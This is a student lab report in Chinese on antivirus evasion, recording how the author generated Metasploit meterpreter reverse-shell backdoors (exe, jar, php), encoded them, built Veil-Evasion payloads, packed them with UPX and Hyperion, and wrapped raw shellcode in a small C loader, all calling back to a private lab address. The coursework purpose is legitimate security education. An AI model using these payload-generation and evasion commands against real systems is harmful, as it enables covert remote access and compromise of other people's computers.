2018-2019-2《网络对抗技术》 Exp3免杀原理与实践 20165118 李泊志

Exp3 免杀原理与实践 20165118

一.实验目标:

1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)

1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

二.基础问题回答

2.1杀软是如何检测出恶意代码的?

(1)基于特征码的检测:特征码就是一段或多段数据,如果一个可执行文件(或其他运行的库、脚本等)包含一段数据而别的可执行文件一般不包含这段数据,则这段数据被认为是恶意代码。

(2)启发式恶意软件检测:就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

(3)基于行为的恶意软件检测:加入了行为监控的启发式。通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。

2.2免杀是做什么?

通过一些技术手段对自己的文件做处理,让它不被杀毒软件所检测

2.3免杀的基本方法有哪些?

  • 改变特征码:

(1)加壳

(2)利用shellcode生成可执行文件

(3)用其他语言重写再编译

  • 改变行为:

(1)通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。

(2)操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

  • 非常规方法
    (1)使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

(2)使用社工类攻击,诱骗目标关闭AV软件。

(3)纯手工打造一个恶意软件

三.实践过程记录

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

3.1 正确使用msf编码器,生成exe文件

我的kali地址:192.168.88.133

我们用msf编码器对后门程序进行一次到多次的编码,并进行检测。

输入命令msfvenom -h可查看msf相关用法

  • 编码一次命令如下(用-e参数编码 用-b参数去除坏字符'\00'):

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.88.133 LPORT=5118 -f exe > met.exe

将生成的.exe上传到那两个网站可以得到结果:

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.88.133 LPORT=5118 -f exe > met-encoded10.exe



很奇怪的是我十次编码以后反倒发现的更多了....

  • msfvenom生成jar文件

使用指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 x> sxx_backdoor_java.jar



检测结果如图:换个编译方式能够降低被发现的概率,但是还是有很多能发现的杀毒软件,此外还有就是把文件上传到virscan的时候因为命名里面有java,他显示文件名含有av所以不能上传...所以我把文件名进行了修改.

  • msfvenom生成php文件

使用指令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 x> 5118_php



如图,发现的更少了。

3.2 使用veil-evasion生成后门程序及检测
  • 安装的过程一直不成功,所以我拷贝了同学安装好的veil,即使如此,也安装了半个多小时....

  • 安装好以后使用veil指令打开veil,再用use Evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,命令为:set LHOST 192.168.88.133(此ip为虚拟机ip)
  • 用命令set LPORT 5118设置端口

  • 输入generate生成文件,并命名playload的名字:veil_c_5118,找到文件位置

  • 检测结果如图:

能够发现的还是挺多的

3.3 加壳工具
  • 压缩壳
    使用指令upx veil_c_5118.exe -o 5118_shellcode_upxed.exe

测试结果如下:

  • 加密壳Hyperion

先将上一步生成的文件拷贝至目录/usr/share/windows-binaries/hyperion/,并进入其中

再用wine hyperion.exe -v 5118_shellcode_upxed.exe 5118_shellcode_upxed_Hyperion.exe

测试结果如下:

结果一点也不理想

3.4 半手工注入Shellcode并执行
  • 使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.133 LPORT=5118 -f c用c语言生成一段shellcode;

  • 将生成的shellcode粘贴到自己创建的一个c文件中,并在最后面后添加主函数:int main() { int (*func)() = (int(*)())buf; func(); }(vim编辑器里面复制粘贴是点击上边的编辑选项“粘贴”)

  • 再用i686-w64-mingw32-g++ 20165118.c -o 5118_shellcode1.exe命令生成可执行文件(我之前的.c文件没有补全所以截图里面是2016518.c)

  • 扫描结果如下:

任务二:通过组合应用各种技术实现恶意代码免杀

我使用的方法是对半手工注入生成的20165118.exe进行加壳处理,然而很奇怪的是被查出来的更多了......还不如不组合....结果也如检测所示·,刚监听就被干掉了。

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

放弃抵抗了....没做。

四.实践总结与体会

安装veil很麻烦,杀毒软件并不是很安全,以后在网上下载资源的时候需要多注意来源的可靠性,更希望能够在将来的学习中学到更全面的防御方法.(ps:可能是自己做的太晚了,别人都成功的操作我这里都失败了,游戏体验极差)

五.开启杀软能绝对防止电脑中恶意代码吗?

事实证明并不能,我觉得自己很菜了,但是居然还有挺多杀毒软件检测不出来,如果要那些厉害的黑客去黑的话感觉杀毒软件根本防不住。

猜你喜欢

转载自www.cnblogs.com/lbz20165118/p/10633412.html